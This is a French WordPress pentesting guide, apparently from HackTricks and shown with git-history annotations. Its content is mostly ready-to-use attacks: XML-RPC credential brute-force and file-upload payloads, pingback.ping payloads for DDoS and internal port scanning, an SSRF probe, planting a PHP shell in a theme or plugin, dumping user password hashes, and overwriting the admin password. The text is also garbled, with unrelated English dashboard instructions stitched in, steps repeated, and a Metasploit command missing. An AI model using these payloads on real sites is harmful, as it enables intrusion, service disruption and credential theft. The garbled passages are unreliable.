hacktricks/network-services-pentesting/pentesting-web/wordpress.md

466 lines
26 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Wordpress
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
## Informations de base
Les fichiers **téléchargés** sont envoyés à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Les fichiers **thèmes** peuvent être trouvés dans /wp-content/themes/, donc si vous modifiez du code php du thème pour obtenir une RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
Une autre URL utile pourrait être : [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2023-06-03 13:10:46 +00:00
Dans **wp-config.php**, vous pouvez trouver le mot de passe root de la base de données.
Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Principaux fichiers WordPress**
* `index.php`
2023-06-03 13:10:46 +00:00
* `license.txt` contient des informations utiles telles que la version de WordPress installée.
* `wp-activate.php` est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.
* Dossiers de connexion (peuvent être renommés pour les masquer) :
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP en tant que mécanisme de transport et XML en tant que mécanisme de codage. Ce type de communication a été remplacé par l'[API REST](https://developer.wordpress.org/rest-api/reference) de WordPress.
2023-06-03 13:10:46 +00:00
* Le dossier `wp-content` est le répertoire principal où les plugins et les thèmes sont stockés.
* `wp-content/uploads/` est le répertoire où les fichiers téléchargés sur la plateforme sont stockés.
* `wp-includes/` est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices de caractères, les fichiers JavaScript et les widgets.
**Post-exploitation**
* Le fichier `wp-config.php` contient les informations requises par WordPress pour se connecter à la base de données, telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de la table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
2023-06-03 13:10:46 +00:00
### Permissions des utilisateurs
2023-06-03 13:10:46 +00:00
* **Administrateur**
* **Éditeur** : Publie et gère ses propres publications et celles des autres.
2023-06-03 13:10:46 +00:00
* **Auteur** : Publie et gère ses propres publications.
* **Contributeur** : Rédige et gère ses propres publications, mais ne peut pas les publier.
* **Abonné** : Consulte les publications et modifie son profil.
2023-06-03 13:10:46 +00:00
## **Énumération passive**
2023-06-03 13:10:46 +00:00
### **Obtenir la version de WordPress**
2023-06-03 13:10:46 +00:00
Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html`
2023-06-03 13:10:46 +00:00
Dans le **code source** de la page (exemple de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) :
2022-10-02 23:08:05 +00:00
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
2023-06-03 13:10:46 +00:00
* Fichiers de liens CSS
![](<../../.gitbook/assets/image (344).png>)
2023-06-03 13:10:46 +00:00
* Fichiers JavaScript
![](<../../.gitbook/assets/image (346).png>)
### Obtenir les plugins
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
To get themes for your WordPress website, you can follow these steps:
1. Go to the WordPress admin dashboard.
2. Click on "Appearance" in the left sidebar.
3. Select "Themes" from the dropdown menu.
4. You will see a list of available themes. You can browse through them or use the search bar to find a specific theme.
5. Once you find a theme you like, hover over it and click on the "Preview" button to see how it looks on your website.
6. If you are satisfied with the preview, click on the "Install" button to add the theme to your website.
7. After the theme is installed, click on the "Activate" button to make it the active theme for your website.
That's it! You have successfully obtained and installed a new theme for your WordPress website.
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2023-06-03 13:10:46 +00:00
### Extraire les versions en général
Lors de la pentest d'un site WordPress, il est important d'extraire les informations sur les versions utilisées. Cela peut aider à identifier les vulnérabilités connues et à déterminer si le site est à jour.
#### Méthode 1 : Vérification du fichier readme.html
Le fichier readme.html est généralement présent à la racine du site WordPress. Il contient des informations sur la version actuelle de WordPress. Vous pouvez accéder à ce fichier en ajoutant "/readme.html" à l'URL du site (par exemple : `http://www.example.com/readme.html`).
#### Méthode 2 : Analyse des en-têtes de réponse HTTP
Lorsque vous interagissez avec un site WordPress, vous pouvez analyser les en-têtes de réponse HTTP pour trouver des informations sur la version utilisée. L'en-tête "X-Powered-By" peut révéler la version de WordPress. Vous pouvez utiliser des outils tels que Burp Suite pour intercepter les requêtes et analyser les en-têtes de réponse.
#### Méthode 3 : Recherche de fichiers de configuration
Certains fichiers de configuration de WordPress contiennent des informations sur la version utilisée. Vous pouvez rechercher des fichiers tels que "wp-config.php" et "wp-includes/version.php" pour trouver ces informations. Utilisez des outils de recherche de fichiers tels que "grep" pour faciliter cette tâche.
#### Méthode 4 : Utilisation d'outils automatisés
Il existe des outils automatisés tels que WPScan qui peuvent vous aider à extraire les informations sur les versions de WordPress. Ces outils effectuent une analyse complète du site et fournissent des rapports détaillés sur les versions utilisées ainsi que sur les vulnérabilités connues.
Il est recommandé d'utiliser plusieurs méthodes pour extraire les informations sur les versions de WordPress afin d'obtenir des résultats plus complets et précis.
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-06-03 13:10:46 +00:00
## Énumération active
2023-06-03 13:10:46 +00:00
### Plugins et thèmes
Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour les découvrir tous, vous devrez **forcer activement une liste de plugins et de thèmes** (heureusement, il existe des outils automatisés qui contiennent ces listes).
2023-06-03 13:10:46 +00:00
### Utilisateurs
**Brute Force de l'ID**
Vous obtenez des utilisateurs valides d'un site WordPress en forçant de manière brutale les identifiants des utilisateurs :
```
curl -s -I -X GET http://blog.example.com/?author=1
```
2023-06-03 13:10:46 +00:00
Si les réponses sont **200** ou **30X**, cela signifie que l'identifiant est **valide**. Si la réponse est **400**, alors l'identifiant est **invalide**.
2022-04-28 23:27:22 +00:00
**wp-json**
2023-06-03 13:10:46 +00:00
Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :
```
curl http://blog.example.com/wp-json/wp/v2/users
```
2023-06-03 13:10:46 +00:00
**Seules les informations sur les utilisateurs ayant cette fonctionnalité activée seront fournies**.
2023-06-03 13:10:46 +00:00
Notez également que **/wp-json/wp/v2/pages** pourrait divulguer des adresses IP.
2023-06-03 13:10:46 +00:00
#### Énumération des noms d'utilisateur de connexion
2022-10-02 23:08:05 +00:00
2023-06-03 13:10:46 +00:00
Lors de la connexion à **`/wp-login.php`**, le **message** est **différent** si le **nom d'utilisateur indiqué existe ou non**.
2022-05-01 16:57:45 +00:00
### XML-RPC
Si `xml-rpc.php` est actif, vous pouvez effectuer une attaque de force brute sur les identifiants ou l'utiliser pour lancer des attaques par déni de service sur d'autres ressources. (Vous pouvez automatiser ce processus [en utilisant ceci](https://github.com/relarizky/wpxploit) par exemple).
Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête :
2023-06-03 13:10:46 +00:00
**Vérifier**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce des identifiants**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour effectuer une bruteforce des identifiants. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
Le message _"Nom d'utilisateur ou mot de passe incorrect"_ doit apparaître dans une réponse de code 200 si les identifiants ne sont pas valides.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
2022-10-08 16:35:25 +00:00
![](<../../.gitbook/assets/image (102).png>)
En utilisant les identifiants corrects, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
2022-10-08 16:35:25 +00:00
</methodCall>
```
Il existe également un moyen plus rapide de forcer les identifiants en utilisant `system.multicall`, car vous pouvez essayer plusieurs identifiants sur la même requête :
2022-10-22 15:26:54 +00:00
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
Contourner l'authentification à deux facteurs (2FA)
2022-02-09 20:26:27 +00:00
Cette méthode est destinée aux programmes et non aux humains, et elle est obsolète, donc elle ne prend pas en charge le 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par un 2FA, vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant le 2FA. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez quand même être en mesure d'obtenir une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
DDoS ou scan de ports
Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez demander à Wordpress d'envoyer une requête arbitraire à n'importe quel hôte/port. Cela peut être utilisé pour demander à des milliers de sites Wordpress d'accéder à un emplacement donné (causant ainsi un DDoS à cet emplacement) ou vous pouvez l'utiliser pour faire scanner Wordpress sur un réseau interne (vous pouvez indiquer n'importe quel port).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png)
Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
2023-06-03 13:10:46 +00:00
Jetez un coup d'œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode pour causer une attaque DDoS.
2022-12-09 14:47:58 +00:00
**DDoS**
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
Ce fichier se trouve généralement à la racine du site Wordpress : **`/wp-cron.php`**\
Lorsque ce fichier est **accédé**, une requête MySQL "**lourde**" est effectuée, ce qui peut être utilisé par les **attaquants** pour **causer** un **DoS**.\
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui peut poser des problèmes (DoS) sur les sites à fort trafic.
2022-12-09 14:47:58 +00:00
2023-06-03 13:10:46 +00:00
Il est recommandé de désactiver Wp-Cron et de créer une tâche cron réelle à l'intérieur de l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Wordpress peut vous envoyer une requête.
2023-06-03 13:10:46 +00:00
Voici la réponse lorsque cela ne fonctionne pas :
2022-09-30 10:43:59 +00:00
![](<../../.gitbook/assets/image (184) (1).png>)
2022-05-01 16:57:45 +00:00
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Cet outil vérifie si la **méthode : pingback.ping** et le chemin **/wp-json/oembed/1.0/proxy** existent, et s'ils existent, il essaie de les exploiter.
2023-06-03 13:10:46 +00:00
### Outils automatiques
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Obtenez l'accès en écrasant un bit
2022-06-23 12:12:25 +00:00
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), vous pouvez inverser 1 bit de n'importe quel fichier WordPress. Ainsi, vous pouvez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour annuler l'opération NOT (`!`).
2022-06-23 12:12:25 +00:00
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2022-06-23 12:12:25 +00:00
```
2022-05-01 16:57:45 +00:00
## **Panel RCE**
**Modification d'un fichier php du thème utilisé (identifiants d'administration requis)**
2023-06-03 13:10:46 +00:00
Apparence → Éditeur de thème → Modèle 404 (à droite)
2023-06-03 13:10:46 +00:00
Modifiez le contenu pour y ajouter un shell php :
2022-12-24 19:34:46 +00:00
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Recherchez sur internet comment accéder à cette page modifiée. Dans ce cas, vous devez accéder ici : [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2022-05-01 16:57:45 +00:00
### MSF
2023-06-03 13:10:46 +00:00
Vous pouvez utiliser :
```
use exploit/unix/webapp/wp_admin_shell_upload
```
2022-05-01 16:57:45 +00:00
## Plugin RCE
2023-06-03 13:10:46 +00:00
### Plugin PHP
2023-06-03 13:10:46 +00:00
Il est possible de télécharger des fichiers .php en tant que plugin.\
Créez votre backdoor php en utilisant par exemple :
![](<../../.gitbook/assets/image (407).png>)
Ensuite, ajoutez un nouveau plugin :
![](<../../.gitbook/assets/image (409).png>)
Téléchargez le plugin et appuyez sur Installer maintenant :
![](<../../.gitbook/assets/image (411).png>)
Cliquez sur Procced :
![](<../../.gitbook/assets/image (412).png>)
Cela ne fera probablement rien en apparence, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
![](<../../.gitbook/assets/image (413).png>)
Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
![](<../../.gitbook/assets/image (414).png>)
### Téléchargement et activation d'un plugin malveillant
2023-06-03 13:10:46 +00:00
**(Cette partie est copiée de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)**
Parfois, les utilisateurs connectés n'ont pas l'autorisation d'écriture pour apporter des modifications au thème WordPress, nous choisissons donc "Injecter un plugin WP malveillant" comme stratégie alternative pour obtenir un shell web.
2023-06-03 13:10:46 +00:00
Ainsi, une fois que vous avez accès à un tableau de bord WordPress, vous pouvez essayer d'installer un plugin malveillant. Ici, j'ai déjà téléchargé le plugin vulnérable depuis exploit db.
Cliquez [**ici**](https://www.exploit-db.com/exploits/36374) pour télécharger le plugin à des fins de pratique.
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
Puisque nous avons un fichier zip pour le plugin, il est temps de télécharger le plugin.
2023-06-03 13:10:46 +00:00
Tableau de bord > plugins > télécharger le plugin
2021-11-30 16:46:07 +00:00
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
Parcourez le fichier zip téléchargé comme indiqué.
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
Une fois que le package est installé avec succès, nous devons activer le plugin.
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
Lorsque tout est bien configuré, passez à l'exploitation. Puisque nous avons installé un plugin vulnérable appelé "reflex-gallery" et qu'il est facilement exploitable.
Vous obtiendrez une exploitation de cette vulnérabilité dans le framework Metasploit, chargez donc le module ci-dessous et exécutez la commande suivante :
Une fois les commandes ci-dessus exécutées, vous aurez votre session meterpreter. Comme le montre cet article, il existe plusieurs méthodes pour exploiter un site web basé sur WordPress.
2021-11-30 16:46:07 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
2023-06-03 13:10:46 +00:00
## Post-exploitation
Extraire les noms d'utilisateur et les mots de passe :
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Changer le mot de passe administrateur:
To change the admin password in WordPress, follow these steps:
1. Log in to the WordPress admin dashboard.
2. Go to the "Users" section.
3. Click on the "All Users" option.
4. Locate the admin user and click on the "Edit" link.
5. Scroll down to the "Account Management" section.
6. Enter a new password in the "New Password" field.
7. Confirm the new password in the "Repeat New Password" field.
8. Click on the "Update User" button to save the changes.
Pour changer le mot de passe administrateur dans WordPress, suivez ces étapes:
1. Connectez-vous au tableau de bord d'administration de WordPress.
2. Accédez à la section "Utilisateurs".
3. Cliquez sur l'option "Tous les utilisateurs".
4. Localisez l'utilisateur admin et cliquez sur le lien "Modifier".
5. Faites défiler jusqu'à la section "Gestion du compte".
6. Entrez un nouveau mot de passe dans le champ "Nouveau mot de passe".
7. Confirmez le nouveau mot de passe dans le champ "Répéter le nouveau mot de passe".
8. Cliquez sur le bouton "Mettre à jour l'utilisateur" pour enregistrer les modifications.
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Protection WordPress
2023-06-03 13:10:46 +00:00
### Mises à jour régulières
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez également que la mise à jour automatique est activée dans le fichier wp-config.php :
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
2023-06-03 13:10:46 +00:00
De plus, **installez uniquement des plugins et des thèmes WordPress fiables**.
2023-06-03 13:10:46 +00:00
### Plugins de sécurité
2022-02-09 18:48:09 +00:00
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
2023-06-03 13:10:46 +00:00
### **Autres recommandations**
* Supprimez l'utilisateur par défaut **admin**
* Utilisez des **mots de passe forts** et **l'authentification à deux facteurs (2FA)**
* Passez en revue périodiquement les **permissions** des utilisateurs
* **Limitez les tentatives de connexion** pour prévenir les attaques par force brute
* Renommez le fichier **`wp-admin.php`** et autorisez uniquement l'accès en interne ou à partir de certaines adresses IP.
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>